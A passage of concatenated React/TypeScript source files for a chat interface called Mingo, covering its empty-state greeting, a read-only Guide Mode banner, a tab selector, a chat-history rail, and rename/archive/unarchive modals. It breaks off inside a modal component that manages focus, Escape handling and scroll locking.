*/}\n      <div className=\"relative flex min-h-0 flex-1 flex-col\">\n        <div\n          ref={scrollRef}\n          onScroll={updateScrollFade}\n          className=\"flex min-h-0 flex-1 flex-col gap-[var(--spacing-system-m)] overflow-y-auto overscroll-contain\"\n        >\n          {/* Greeting grows to fill (`flex-1`) so the slash-command list stays\n              anchored below it — but its content is anchored at the TOP of the\n              grown block (no `justify-center`). Vertical-centering the content\n              would re-position the icon/title every time the children's height\n              changed (e.g. the chip-catalog skeleton → real cards swap: the\n              skeleton renders a fixed 6 rows but the resolved list is whatever\n              the admin configured — 14 on the hub today). Whichever direction\n              the delta runs, a centered greeting jumps by half the delta on\n              load. Top-anchoring keeps the icon and title at the same\n              scroll-viewport-top position regardless of the list height\n              beneath them. */}\n          <div className=\"flex flex-1 flex-col items-center gap-[var(--spacing-system-l)] px-[var(--spacing-system-l)] py-[var(--spacing-system-xxl)] text-center\">\n            {icon && (icon.name || icon.url) ? (\n              // Agent-mode identity glyph (chat-config Identity tab). Sized to\n              // match the default Mingo mark (48px).\n              <EntityIcon icon={{ name: icon.name, url: icon.url, props: icon.props }} size={48} />\n            ) : (\n              <MingoIcon\n                className=\"h-12 w-12\"\n                color=\"white\"\n                eyesColor=\"var(--ods-flamingo-cyan-base)\"\n                cornerColor=\"var(--ods-flamingo-cyan-base)\"\n              />\n            )}\n            <div className=\"flex w-full flex-col gap-[var(--spacing-system-l)]\">\n              <p className=\"text-ods-text-primary text-h2\">{title}</p>\n              {/* Sub-line: while the greeting is still being fetched show a\n                  one-line skeleton; once settled, render the greeting (admin\n                  copy / host override) or nothing — no built-in default, so by\n                  default the empty state shows the title alone. */}\n              {subtitle ? (\n                <p className=\"text-ods-text-secondary text-h4\">{subtitle}</p>\n              ) : subtitleLoading ? (\n                <div className=\"flex w-full justify-center\">\n                  <Skeleton className=\"h-5 w-3/4 max-w-80 rounded-sm\" />\n                </div>\n              ) : null}\n            </div>\n          </div>\n\n          {children}\n        </div>\n\n        {/* Edge scroll-fades — visible only when content is hidden beyond them. */}\n        <ScrollFadeOverlay edge=\"top\" visible={fadeTop} className=\"h-12\" />\n        <ScrollFadeOverlay edge=\"bottom\" visible={fadeBottom} className=\"h-12\" />\n      </div>\n\n      {/* Pinned quick-action wall above the composer — the shared\n          {@link QuickActionWall} in BRICK mode (the SAME \"wall of the work\n          agents do\" the website hero renders): up to 4 stacked row marquees,\n          chips packed edge-to-edge, drifting under left/right edge fades so a\n          long agent action set gets \"reach\" without squeezing the composer.\n          Chips stay directly hoverable — hover/focus previews the action's full\n          prompt in the composer, click sends it — and `pauseOnHover` freezes\n          the hovered row so a moving chip never dodges a click. */}\n      {quickActions.length > 0 && (\n        <QuickActionWall\n          chips={chipItems}\n          agentSlug={agentSlug}\n          rows={4}\n          pauseOnHover\n          dragScroll\n          fade={['left', 'right']}\n          fadeSize={{ left: 32 }}\n          fadeColor=\"var(--color-bg)\"\n          copyGap=\"var(--spacing-system-xxs)\"\n          className=\"max-h-44 shrink-0\"\n        />\n      )}\n    </div>\n  );\n}\n","'use client';\n\nimport type { ReactNode } from 'react';\nimport { cn } from '../../utils/cn';\nimport { CompassIcon } from '../icons-v2-generated/map-and-travel/compass-icon';\nimport { QuestionCircleIcon } from '../icons-v2-generated/signs-and-symbols/question-circle-icon';\nimport { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from '../ui/tooltip';\n\nconst DEFAULT_LABEL = 'Guide Mode Chat';\n\nconst DEFAULT_TOOLTIP =\n  'A quick session chat for exploring OpenFrame. Mingo answers how-to ' +\n  'questions and guides you through configuration, but won’t touch devices, ' +\n  'run scripts, or perform any actions.';\n\nexport interface GuideModeBannerProps {\n  /** Banner label (uppercased by the `text-h5` style). */\n  label?: ReactNode;\n  /** Help-icon tooltip copy. `null` hides the help icon entirely. */\n  tooltip?: ReactNode | null;\n  className?: string;\n}\n\n/**\n * Guide-mode indicator banner — Figma node `7532:328222`. A full-bleed accent\n * (yellow) strip below the chat header: leading compass icon, the \"Guide Mode\n * Chat\" label, and a trailing help icon whose tooltip explains the temporary,\n * read-only nature of Guide mode.\n */\nexport function GuideModeBanner({ label = DEFAULT_LABEL, tooltip = DEFAULT_TOOLTIP, className }: GuideModeBannerProps) {\n  return (\n    <div\n      className={cn(\n        'flex h-8 w-full shrink-0 items-center gap-[var(--spacing-system-xs)] bg-ods-accent px-[var(--spacing-system-m)] py-[var(--spacing-system-xsf)]',\n        className,\n      )}\n    >\n      <CompassIcon size={16} className=\"shrink-0 text-ods-text-on-accent\" />\n      <p className=\"flex-1 truncate uppercase text-ods-text-on-accent text-h5\">{label}</p>\n      {tooltip != null && (\n        <TooltipProvider delayDuration={0}>\n          <Tooltip>\n            <TooltipTrigger asChild>\n              <button\n                type=\"button\"\n                aria-label=\"About Guide Mode\"\n                className=\"shrink-0 rounded-sm text-ods-text-on-accent focus:outline-none focus-visible:ring-2 focus-visible:ring-ods-text-on-accent\"\n              >\n                <QuestionCircleIcon size={16} />\n              </button>\n            </TooltipTrigger>\n            <TooltipContent side=\"bottom\" align=\"end\" className=\"max-w-[280px] normal-case text-h6\">\n              {tooltip}\n            </TooltipContent>\n          </Tooltip>\n        </TooltipProvider>\n      )}\n    </div>\n  );\n}\n","'use client';\n\nimport type React from 'react';\nimport { cn } from '../../utils/cn';\nimport { useIsInActionsMenuHeader } from './actions-menu-header-context';\nimport { Label } from './label';\n\nexport interface TabSelectorItem {\n  /** Unique identifier for the tab */\n  id: string;\n  /** Display label. Optional — omit for icon-only tabs (provide `ariaLabel` for accessibility). */\n  label?: string;\n  /** Accessible name. Required when `label` is omitted. */\n  ariaLabel?: string;\n  /** Optional icon (ReactNode) displayed before the label */\n  icon?: React.ReactNode;\n  /** Whether this tab is disabled */\n  disabled?: boolean;\n  /** Optional badge element displayed after the label */\n  badge?: React.ReactNode;\n}\n\nexport interface TabSelectorProps {\n  /** Currently selected tab id */\n  value: string;\n  /** Callback when tab selection changes */\n  onValueChange: (value: string) => void;\n  /** Tab items to display */\n  items: TabSelectorItem[];\n  /** Visual variant: primary (accent bg) or secondary (soft grey bg) */\n  variant?: 'primary' | 'secondary';\n  /** Optional label displayed above the selector */\n  label?: string;\n  /** Disable the entire selector (overrides per-item enabled state) */\n  disabled?: boolean;\n  /**\n   * Horizontal-scroll mode for unbounded/dynamic tab sets (e.g. data-derived\n   * purposes). The default layout divides the row width equally (`flex-1`\n   * items in a `w-full` row). Use `scrollable` when labels may exceed the\n   * available width; it sizes tabs to their labels (`flex-none`) and lets\n   * the row scroll (`overflow-x-auto`).\n   */\n  scrollable?: boolean;\n  /** Additional CSS classes for the root container */\n  className?: string;\n}\n\nexport function TabSelector({\n  value,\n  onValueChange,\n  items,\n  variant = 'primary',\n  label,\n  disabled,\n  scrollable = false,\n  className,\n}: TabSelectorProps) {\n  // Inside an ActionsMenu header row the selector renders FLUSH - no border,\n  // no row rounding (the menu's row border and rounding are the frame) and a\n  // fixed 40px height, while the inner 4px padding, the segment gap and the\n  // segment radius stay, per the mobile \"...\" menu mock. The same node a page\n  // renders in its title bar adapts by context, with no re-styling at the\n  // call site.\n  const flush = useIsInActionsMenuHeader();\n  return (\n    <div\n      className={cn('flex flex-col gap-[var(--spacing-system-xxs)]', disabled && 'opacity-50', className)}\n      aria-disabled={disabled || undefined}\n    >\n      {label && (\n        // Label for family/color; 'large' (text-h4) is this component's\n        // long-standing label scale — neighbours opt into the same scale via\n        // their `labelVariant=\"large\"` when a design puts them side by side.\n        <Label variant=\"large\">{label}</Label>\n      )}\n      <div\n        className={cn(\n          'flex gap-[var(--spacing-system-xxs)] bg-ods-bg p-[var(--spacing-system-xxs)]',\n          flush\n            ? 'h-10 w-full'\n            : cn('h-11 rounded-md border border-ods-border md:h-12', scrollable ? 'overflow-x-auto' : 'w-full'),\n        )}\n      >\n        {items.map(item => {\n          const isActive = value === item.id;\n          const isDisabled = disabled || item.disabled;\n\n          return (\n            <button\n              key={item.id}\n              type=\"button\"\n              disabled={isDisabled}\n              onClick={() => onValueChange(item.id)}\n              aria-label={!item.label ? item.ariaLabel : undefined}\n              className={cn(\n                // Bold on BOTH states (text-h3 = DM Sans bold) — a medium↔bold\n                // flip between the active and inactive tabs read as inconsistent\n                // weight (and nudged label widths on every switch).\n                'flex items-center justify-center gap-[var(--spacing-system-xs)] whitespace-nowrap rounded-xs p-[var(--spacing-system-xsf)] transition-colors duration-200 text-h4',\n                // scrollable: intrinsic widths must sum past the container or\n                // nothing ever overflows (flex-1's basis-0 defeats the scroll).\n                scrollable ? 'flex-none shrink-0 basis-auto' : 'flex-1',\n                isDisabled\n                  ? isActive\n                    ? 'cursor-not-allowed bg-ods-bg-surface text-ods-text-secondary'\n                    : 'cursor-not-allowed bg-transparent text-ods-text-secondary'\n                  : isActive\n                    ? variant === 'primary'\n                      ? 'cursor-default bg-ods-accent text-ods-text-on-accent'\n                      : 'cursor-default bg-ods-bg-surface text-ods-text-primary'\n                    : 'cursor-pointer bg-transparent text-ods-text-primary hover:bg-ods-bg-hover',\n              )}\n            >\n              {item.icon && (\n                <span className=\"flex size-4 shrink-0 items-center justify-center md:size-6\">{item.icon}</span>\n              )}\n              {item.label}\n              {item.badge && item.badge}\n            </button>\n          );\n        })}\n      </div>\n    </div>\n  );\n}\n","'use client';\n\nimport { cn } from '../../utils/cn';\nimport { AlertCircleIcon, Refresh01RightIcon } from '../icons-v2-generated';\nimport { ChatsIcon } from '../icons-v2-generated/communication/chats-icon';\nimport { PlusCircleIcon } from '../icons-v2-generated/signs-and-symbols/plus-circle-icon';\nimport { Button } from '../ui/button';\nimport { TabSelector } from '../ui/tab-selector';\nimport { ChatListEmptyState } from './chat-list-empty-state';\nimport { MingoChatHistory, MingoChatHistorySkeleton } from './mingo-chat-history';\nimport type { DialogItem } from './types/component.types';\n\n// =============================================================================\n// Types\n// =============================================================================\n\n/** Ownership scope of the rail's dialog list — the current user's chats only,\n *  or every admin's chats in the tenant. */\nexport type MingoHistoryScope = 'my' | 'all';\n\nexport interface MingoHistoryRailProps {\n  /** Dialogs to list, assumed already sorted newest-first by the host. */\n  dialogs: ReadonlyArray<DialogItem>;\n  /** Currently-open dialog id (highlighted). */\n  activeDialogId?: string;\n  /** Open a dialog. */\n  onSelectDialog?: (id: string) => void;\n  /** Start a fresh chat — clears the open conversation so the chat block shows\n   *  the welcome. Rendered as the pinned \"Start New Chat\" button above the list,\n   *  in every state (including the no-chats empty state). */\n  onNewChat?: () => void;\n  /** Request rename — enables the row \"Rename chat\" action. */\n  onRequestRename?: (dialog: DialogItem) => void;\n  /** Request archive — enables the row \"Archive chat\" action. */\n  onRequestArchive?: (dialog: DialogItem) => void;\n  /** Request a shareable link — enables the row \"Copy chat link\" action. */\n  onRequestCopyLink?: (dialog: DialogItem) => void;\n  /** Ownership scope shown as a two-state \"My Chats / All Chats\" selector\n   *  between \"Start New Chat\" and the list. Rendered only when BOTH `scope`\n   *  and `onScopeChange` are provided; the host owns the state and refilters\n   *  the `dialogs` it passes in. */\n  scope?: MingoHistoryScope;\n  /** Scope selector change handler — see `scope`. */\n  onScopeChange?: (scope: MingoHistoryScope) => void;\n  /** Current server-side search term. Drives the list's \"No chats found\"\n   *  empty state; the search INPUT itself lives in the panel header now, not\n   *  in the rail body. */\n  searchQuery?: string;\n  /** Whether more dialogs remain (cursor pagination). */\n  hasMore?: boolean;\n  /** True while the next page is loading. */\n  isLoadingMore?: boolean;\n  /** Fetch the next page. */\n  onLoadMore?: () => void;\n  /** True while the FIRST page of dialogs is still loading. Renders a skeleton\n   *  so the rail doesn't flash the empty state before the list arrives. */\n  isLoadingHistory?: boolean;\n  /** The dialog-list load FAILED with nothing cached — renders an error + retry\n   *  block instead of the empty state. */\n  loadError?: boolean;\n  /** Retry handler for the `loadError` state. */\n  onRetry?: () => void;\n  /** Appended to the root element. */\n  className?: string;\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * MingoHistoryRail — the persistent \"Current Chats\" left column of the split\n * (wide) Mingo layout (Figma 113:60931 / 113:63630).\n *\n * The dialog history that the stacked layout renders inline in the Mingo empty\n * state is hoisted here into a fixed-width rail beside the chat block. On top\n * sits a pinned \"Start New Chat\" button (always shown when `onNewChat` is\n * given); below it the grouped Today / Yesterday / Older list\n * (`MingoChatHistory`). With no chats the list area collapses to a centred\n * empty state; loading / error states mirror the stacked empty state so the\n * two layouts stay consistent.\n */\nexport function MingoHistoryRail({\n  dialogs,\n  activeDialogId,\n  onSelectDialog,\n  onNewChat,\n  onRequestRename,\n  onRequestArchive,\n  onRequestCopyLink,\n  scope,\n  onScopeChange,\n  searchQuery,\n  hasMore = false,\n  isLoadingMore = false,\n  onLoadMore,\n  isLoadingHistory = false,\n  loadError = false,\n  onRetry,\n  className,\n}: MingoHistoryRailProps) {\n  const hasSearch = !!searchQuery?.trim();\n  // The list (vs. the empty state) shows whenever there are chats OR an active\n  // search is running — a no-match query must keep the search bar mounted\n  // rather than flash the \"No Current Chats\" state.\n  const hasList = dialogs.length > 0 || hasSearch;\n\n  return (\n    <div\n      className={cn(\n        'flex min-h-0 flex-1 flex-col gap-[var(--spacing-system-m)] p-[var(--spacing-system-m)]',\n        className,\n      )}\n    >\n      {/* Pinned \"Start New Chat\" — always on top, in every state. It used to be\n          hidden in the wide rail while the user had no chats (the chat block's\n          composer being the empty-state entry), but that made the rail's primary\n          action vanish exactly when it's most needed, and shifted the layout the\n          moment the first chat appeared. */}\n      {onNewChat && (\n        <Button\n          variant=\"outline\"\n          fullWidth\n          leftIcon={<PlusCircleIcon size={20} />}\n          onClick={onNewChat}\n          className=\"shrink-0 justify-start\"\n        >\n          Start New Chat\n        </Button>\n      )}\n\n      {/* Two-state ownership scope — \"My Chats\" / \"All Chats\". Stays visible in\n          the empty state too: an empty \"My Chats\" list must still offer the\n          switch to \"All Chats\" (host filters, so the empty state can be\n          scope-induced). Hidden while the load failed — retry is the only\n          useful action there. */}\n      {scope && onScopeChange && !loadError ? (\n        <TabSelector\n          className=\"shrink-0\"\n          value={scope}\n          onValueChange={value => onScopeChange(value as MingoHistoryScope)}\n          items={[\n            { id: 'my', label: 'My Chats' },\n            { id: 'all', label: 'All Chats' },\n          ]}\n        />\n      ) : null}\n\n      {loadError ? (\n        <div className=\"flex min-h-0 flex-1 flex-col items-center justify-center gap-[var(--spacing-system-m)] text-center\">\n          <AlertCircleIcon className=\"h-8 w-8 shrink-0 text-ods-text-secondary\" />\n          <div className=\"flex flex-col gap-[var(--spacing-system-xxs)]\">\n            <p className=\"text-ods-text-primary text-h4\">Couldn’t load your chats</p>\n            <p className=\"text-ods-text-secondary text-h6\">Something went wrong reaching the server. Try again.</p>\n          </div>\n          {onRetry && (\n            <Button variant=\"outline\" size=\"small\" leftIcon={<Refresh01RightIcon />} onClick={onRetry}>\n              Try again\n            </Button>\n          )}\n        </div>\n      ) : isLoadingHistory ? (\n        <MingoChatHistorySkeleton />\n      ) : hasList ? (\n        <MingoChatHistory\n          dialogs={dialogs}\n          activeDialogId={activeDialogId}\n          onSelectDialog={onSelectDialog}\n          onRequestRename={onRequestRename}\n          onRequestArchive={onRequestArchive}\n          onRequestCopyLink={onRequestCopyLink}\n          searchQuery={searchQuery}\n          hasMore={hasMore}\n          isLoadingMore={isLoadingMore}\n          onLoadMore={onLoadMore}\n        />\n      ) : (\n        // Figma 113:60939 — no-chats empty state.\n        <ChatListEmptyState\n          icon={<ChatsIcon size={24} />}\n          title=\"No Current Chats\"\n          description=\"Previous Mingo sessions will show here\"\n        />\n      )}\n    </div>\n  );\n}\n","'use client';\n\nimport { useState } from 'react';\nimport { cn } from '../../utils/cn';\nimport { ModalV2, ModalV2Header, ModalV2Title, ModalV2Footer } from '../ui/modal-v2';\nimport type { DialogItem } from './types/component.types';\n\n// Shared button styling for the modal footers (Figma `button-full`):\n// full-width, `text-h3` (DM Sans Bold 18px), 12/16 padding, rounded-md.\nconst footerBtn =\n  'flex-1 min-w-0 rounded-md px-[var(--spacing-system-m)] py-[var(--spacing-system-sf)] text-h3 transition-colors focus:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent disabled:opacity-50 disabled:cursor-not-allowed';\nconst cancelBtn = cn(footerBtn, 'border border-ods-border bg-transparent text-ods-text-primary hover:bg-ods-bg-hover');\nconst saveBtn = cn(footerBtn, 'bg-ods-accent text-ods-text-on-accent hover:bg-ods-accent-hover');\nconst dangerBtn = cn(footerBtn, 'bg-ods-error text-ods-text-on-accent hover:opacity-90');\n\n// =============================================================================\n// Rename\n// =============================================================================\n\nexport interface RenameChatModalProps {\n  isOpen: boolean;\n  /** Current chat name, used to seed the input each time the modal opens. */\n  initialName?: string;\n  onClose: () => void;\n  /** Fired with the trimmed new name when Save is pressed. */\n  onSave: (name: string) => void;\n}\n\n/** Rename Chat modal — Figma node `7592:225962`. */\nexport function RenameChatModal({ isOpen, initialName = '', onClose, onSave }: RenameChatModalProps) {\n  const [name, setName] = useState(initialName);\n  // Reseed whenever the modal (re)opens — possibly for a different chat.\n  // Adjusted while rendering, not from an effect: the modal stays mounted when\n  // it closes, so an effect painted the opening frame with the PREVIOUS chat's\n  // name still in the field before replacing it.\n  const [seededWith, setSeededWith] = useState({ isOpen, initialName });\n  if (seededWith.isOpen !== isOpen || seededWith.initialName !== initialName) {\n    setSeededWith({ isOpen, initialName });\n    if (isOpen) setName(initialName);\n  }\n\n  const canSave = name.trim().length > 0;\n  const save = () => {\n    if (canSave) onSave(name.trim());\n  };\n\n  return (\n    <ModalV2 isOpen={isOpen} onClose={onClose} className=\"md:max-w-[600px]\">\n      <ModalV2Header>\n        <ModalV2Title>Rename Chat</ModalV2Title>\n      </ModalV2Header>\n      <div className=\"flex w-full flex-col gap-[var(--spacing-system-xxs)]\">\n        <label htmlFor=\"rename-chat-input\" className=\"text-ods-text-primary text-h4\">\n          Chat Name\n        </label>\n        <input\n          id=\"rename-chat-input\"\n          autoFocus\n          value={name}\n          onChange={e => setName(e.target.value)}\n          onKeyDown={e => {\n            if (e.key === 'Enter') save();\n          }}\n          className=\"w-full rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-sf)] text-ods-text-primary text-h4 focus:outline-none focus-visible:border-ods-accent\"\n        />\n      </div>\n      <ModalV2Footer>\n        <button type=\"button\" onClick={onClose} className={cancelBtn}>\n          Cancel\n        </button>\n        <button type=\"button\" onClick={save} disabled={!canSave} className={saveBtn}>\n          Save\n        </button>\n      </ModalV2Footer>\n    </ModalV2>\n  );\n}\n\n// =============================================================================\n// Archive\n// =============================================================================\n\nexport interface ArchiveChatModalProps {\n  isOpen: boolean;\n  onClose: () => void;\n  /** Fired when the destructive \"Archive Chat\" button is pressed. */\n  onConfirm: () => void;\n}\n\n/** Archive Chat confirmation modal — Figma node `7592:226181`. */\nexport function ArchiveChatModal({ isOpen, onClose, onConfirm }: ArchiveChatModalProps) {\n  return (\n    <ModalV2 isOpen={isOpen} onClose={onClose} className=\"md:max-w-[600px]\">\n      <ModalV2Header>\n        <ModalV2Title>Archive Chat</ModalV2Title>\n      </ModalV2Header>\n      <p className=\"w-full text-ods-text-primary text-h4\">This chat will be hidden from your current chats.</p>\n      <ModalV2Footer>\n        <button type=\"button\" onClick={onClose} className={cancelBtn}>\n          Cancel\n        </button>\n        <button type=\"button\" onClick={onConfirm} className={dangerBtn}>\n          Archive Chat\n        </button>\n      </ModalV2Footer>\n    </ModalV2>\n  );\n}\n\n// =============================================================================\n// Unarchive\n// =============================================================================\n\nexport interface UnarchiveChatModalProps {\n  isOpen: boolean;\n  onClose: () => void;\n  /** Fired when the \"Unarchive Chat\" button is pressed. */\n  onConfirm: () => void;\n}\n\n/** Unarchive (restore) Chat confirmation modal — restores an archived chat\n *  back to the current chats so the user can continue it. */\nexport function UnarchiveChatModal({ isOpen, onClose, onConfirm }: UnarchiveChatModalProps) {\n  return (\n    <ModalV2 isOpen={isOpen} onClose={onClose} className=\"md:max-w-[600px]\">\n      <ModalV2Header>\n        <ModalV2Title>Unarchive Chat</ModalV2Title>\n      </ModalV2Header>\n      <p className=\"w-full text-ods-text-primary text-h4\">This chat will be moved back to your current chats.</p>\n      <ModalV2Footer>\n        <button type=\"button\" onClick={onClose} className={cancelBtn}>\n          Cancel\n        </button>\n        <button type=\"button\" onClick={onConfirm} className={saveBtn}>\n          Unarchive Chat\n        </button>\n      </ModalV2Footer>\n    </ModalV2>\n  );\n}\n\n// =============================================================================\n// Composite — all three dialog-action modals\n// =============================================================================\n\nexport interface ChatDialogModalsProps {\n  /** Dialog pending rename (`null` = closed). */\n  renameTarget: DialogItem | null;\n  setRenameTarget: (dialog: DialogItem | null) => void;\n  onConfirmRename: (name: string) => void;\n  /** Dialog pending archive (`null` = closed). */\n  archiveTarget: DialogItem | null;\n  setArchiveTarget: (dialog: DialogItem | null) => void;\n  onConfirmArchive: () => void;\n  /** Dialog pending restore/unarchive (`null` = closed). */\n  restoreTarget: DialogItem | null;\n  setRestoreTarget: (dialog: DialogItem | null) => void;\n  onConfirmRestore: () => void;\n}\n\n/**\n * Renders the Rename / Archive / Unarchive modals together, each driven by its\n * target dialog. Pair with `useChatDialogManager`, which produces exactly this\n * prop shape.\n */\nexport function ChatDialogModals({\n  renameTarget,\n  setRenameTarget,\n  onConfirmRename,\n  archiveTarget,\n  setArchiveTarget,\n  onConfirmArchive,\n  restoreTarget,\n  setRestoreTarget,\n  onConfirmRestore,\n}: ChatDialogModalsProps) {\n  return (\n    <>\n      <RenameChatModal\n        isOpen={renameTarget != null}\n        initialName={renameTarget?.title ?? ''}\n        onClose={() => setRenameTarget(null)}\n        onSave={onConfirmRename}\n      />\n      <ArchiveChatModal\n        isOpen={archiveTarget != null}\n        onClose={() => setArchiveTarget(null)}\n        onConfirm={onConfirmArchive}\n      />\n      <UnarchiveChatModal\n        isOpen={restoreTarget != null}\n        onClose={() => setRestoreTarget(null)}\n        onConfirm={onConfirmRestore}\n      />\n    </>\n  );\n}\n","'use client';\n\nimport { type ReactNode, createContext, forwardRef, useContext, useRef, useEffect, useState } from 'react';\nimport { RemoveScroll } from 'react-remove-scroll';\nimport { cn } from '../../utils/cn';\nimport { XmarkIcon } from '../icons-v2-generated';\n\n// Duration of the open/close animation in ms — keep in sync with the\n// `duration-200` utilities applied to the backdrop and panel below.\nconst ANIMATION_DURATION = 200;\n\nconst ModalContext = createContext<{ onClose?: () => void }>({});\n\n/**\n * Panel width, as a named variant rather than a per-call-site `max-w-*`.\n * `medium` is the single-column form width; `wide` is the two-column editor\n * width and pairs with `ModalV2TwoColumn`.\n *\n * Every arm keeps the `calc(100vw-2rem)` arm so content can never stretch the\n * panel past the viewport (minus the `mx-4` margins) on narrow screens.\n */\nexport type ModalV2Size = 'default' | 'medium' | 'wide';\n\nconst MODAL_V2_SIZE_CLASSES: Record<ModalV2Size, string> = {\n  default: 'max-w-[min(28rem,calc(100vw-2rem))]',\n  medium: 'max-w-[min(42rem,calc(100vw-2rem))]',\n  wide: 'max-w-[min(1400px,calc(100vw-2rem))]',\n};\n\ninterface ModalProps {\n  isOpen: boolean;\n  onClose: () => void;\n  children: ReactNode;\n  className?: string;\n  size?: ModalV2Size;\n}\n\ninterface ModalContentProps {\n  children: ReactNode;\n  className?: string;\n}\n\ninterface ModalHeaderProps {\n  children: ReactNode;\n  className?: string;\n}\n\ninterface ModalTitleProps {\n  children: ReactNode;\n  className?: string;\n}\n\ninterface ModalFooterProps {\n  children: ReactNode;\n  className?: string;\n}\n\ninterface ModalTwoColumnProps {\n  left: ReactNode;\n  right: ReactNode;\n  className?: string;\n}\n\n// Topmost-modal stack: with stacked modals (confirm above a form) only the\n// TOP one may contain focus, or they fight each other.\nconst modalStack: symbol[] = [];\n\n// Radix popups (Select/DropdownMenu/Popover content) PORTAL to <body>, so a\n// dropdown opened from inside the modal focuses nodes OUTSIDE the panel.\n// Focus landing there is NOT an escape — yanking it back (containFocus /\n// reasserts / Tab trap) fights Radix's own item-focus management and strands\n// stale `data-highlighted` on items it never got to blur-clean (observed:\n// two or three select options painted \"hovered\" simultaneously). Popper-based\n// layers carry `data-radix-popper-content-wrapper`; the default item-aligned\n// Select content doesn't, hence the role fallbacks.\nconst isInPortaledLayer = (node: Node | null): boolean =>\n  node instanceof Element &&\n  node.closest('[data-radix-popper-content-wrapper], [role=\"listbox\"], [role=\"menu\"]') !== null;\n\nconst Modal = forwardRef<HTMLDivElement, ModalProps>(\n  ({ isOpen, onClose, children, className, size = 'default' }, ref) => {\n    // Keep the modal mounted while the exit animation plays.\n    const [isMounted, setIsMounted] = useState(isOpen);\n    const panelRef = useRef<HTMLDivElement | null>(null);\n    const restoreFocusRef = useRef<HTMLElement | null>(null);\n    const stackIdRef = useRef<symbol>(Symbol('modal'));\n\n    // FOCUS MANAGEMENT — the dialog contract every ModalV2 consumer was\n    // missing: focus moves INTO the dialog on open (a modal opened from a\n    // Radix dropdown otherwise loses the focus race to the menu's\n    // close-restore and focus stays on the page), Tab cycles inside it, and\n    // focus returns to the opener on close.\n    useEffect(() => {\n      if (!isOpen) return undefined;\n      const stackId = stackIdRef.current;\n      modalStack.push(stackId);\n      restoreFocusRef.current = document.activeElement as HTMLElement | null;\n      const raf = requestAnimationFrame(() => {\n        const panel = panelRef.current;\n        if (!panel) return;\n        // If a consumer already moved focus inside (e.g. a form autofocusing\n        // its first field), leave it alone.\n        if (panel.contains(document.activeElement)) return;\n        panel.focus();\n      });\n      // CONTAINMENT, not a one-shot: whatever tears down after the dialog\n      // opens (a Radix menu restoring/abandoning focus frames later, a\n      // removed node dropping focus to body) — if focus leaves the topmost\n      // dialog, pull it back. This is what actually wins the multi-frame\n      // focus races a single autofocus cannot.\n      const containFocus = (event: FocusEvent) => {\n        if (modalStack[modalStack.length - 1] !== stackId) return;\n        const panel = panelRef.current;\n        if (!panel) return;\n        const target = event.target as Node | null;\n        if (target && (panel.contains(target) || isInPortaledLayer(target))) return;\n        panel.focus();\n      };\n      document.addEventListener('focusin', containFocus);\n      // Focus dropped to <body> by NODE REMOVAL (a closing menu unmounting the\n      // focused item) dispatches NO focusin — bounded re-asserts cover it.\n      const reasserts = [80, 240, 500].map(ms =>\n        setTimeout(() => {\n          if (modalStack[modalStack.length - 1] !== stackId) return;\n          const panel = panelRef.current;\n          if (!panel) return;\n          if (!panel.contains(document.activeElement) && !isInPortaledLayer(document.activeElement)) panel.focus();\n        }, ms),\n      );\n      return () => {\n        cancelAnimationFrame(raf);\n        reasserts.forEach(clearTimeout);\n        document.removeEventListener('focusin', containFocus);\n        const idx = modalStack.lastIndexOf(stackId);\n        if (idx !== -1) modalStack.splice(idx, 1);\n        restoreFocusRef.current?.focus?.();\n      };\n    }, [isOpen]);\n\n    // Tab trap: cycle within the panel's focusables.\n    useEffect(() => {\n      if (!isOpen) return undefined;\n      const handleTab = (event: KeyboardEvent) => {\n        if (event.key !== 'Tab') return;\n        const panel = panelRef.current;\n        if (!panel) return;\n        // Focus inside a portaled Radix layer (open Select/menu): Tab is that\n        // layer's affair — trapping it back into the panel closes nothing and\n        // steals focus mid-interaction.\n        if (isInPortaledLayer(document.activeElement)) return;\n        const focusables = Array.from(\n          panel.querySelectorAll<HTMLElement>(\n            'a[href], button:not([disabled]), input:not([disabled]):not([type=\"hidden\"]), textarea:not([disabled]), select:not([disabled]), [tabindex]:not([tabindex=\"-1\"])',\n          ),\n        ).filter(el => el.getAttribute('aria-hidden') !== 'true' && el.offsetParent !== null);\n        if (focusables.length === 0) return;\n        const first = focusables[0];\n        const last = focusables[focusables.length - 1];\n        const active = document.activeElement;\n        if (event.shiftKey) {\n          if (active === first || !panel.contains(active)) {\n            event.preventDefault();\n            last.focus();\n          }\n        } else if (active === last || !panel.contains(active)) {\n          event.preventDefault();\n          first.focus();\n        }\n      };\n      document.addEventListener('keydown', handleTab);\n      return () => document.removeEventListener('keydown', handleTab);\n    }, [isOpen]);\n\n    useEffect(() => {\n      if (isOpen) {\n        setIsMounted(true);\n        return undefined;\n      }\n      const timeout = setTimeout(() => setIsMounted(false), ANIMATION_DURATION);\n      return () => clearTimeout(timeout);\n    }, [isOpen]);\n\n    // Scroll lock via the SAME library Radix primitives use internally\n    // (react-remove-scroll is ref-counted and composes with itself). The\n    // previous react-aria lock FOUGHT the lock a Radix Select opened inside\n    // the modal added on top — body jumped and the page behind went black\n    // while the select was open.\n\n    // Escape key (document-level: top-of-stack semantics for modals)\n    useEffect(() => {\n      if (!isOpen) return undefined;\n      const handleKeyDown = (event: KeyboardEvent) => {\n        // A nested Radix layer (Select, DropdownMenu) preventDefaults the\n        // Escape it consumes — without this check, closing a select inside\n        // the modal closed the WHOLE modal. The stack check keeps Escape a\n        // topmost-only affair: every open modal registers this listener, so\n        // with stacked modals (confirm above a form) one Escape would\n        // otherwise close BOTH.\n        if (\n          event.key === 'Escape' &&\n          !event.defaultPrevented &&\n          modalStack[modalStack.length - 1] === stackIdRef.current\n        ) {\n          onClose();\n        }\n      };\n\n      document.addEventListener('keydown', handleKeyDown);\n      return () => document.removeEventListener('keydown', handleKeyDown);\n    }, [isOpen, onClose]);\n\n    if (!isMounted) return null;\n\n    const state = isOpen ? 'open' : 'closed';\n\n    return (\n      // `forwardProps` — RemoveScroll's default is to WRAP its children in a\n      // plain <div>. That wrapper is in normal flow, so a modal rendered inside\n      // a `flex`/`grid` container with a `gap` became an extra (zero-height)\n      // track the moment it opened, shifting every sibling below it down by one\n      // gap. Cloning onto the child instead leaves only the `fixed` overlay,\n      // which is out of flow and therefore not a flex/grid item at all.\n      // The child must stay a single element for `Children.only`.\n      <RemoveScroll enabled={isOpen} removeScrollBar={false} forwardProps>\n        {/* SOFTWARE KEYBOARD — padding, not a shrunken box. Neither mobile shell\n          shrinks the 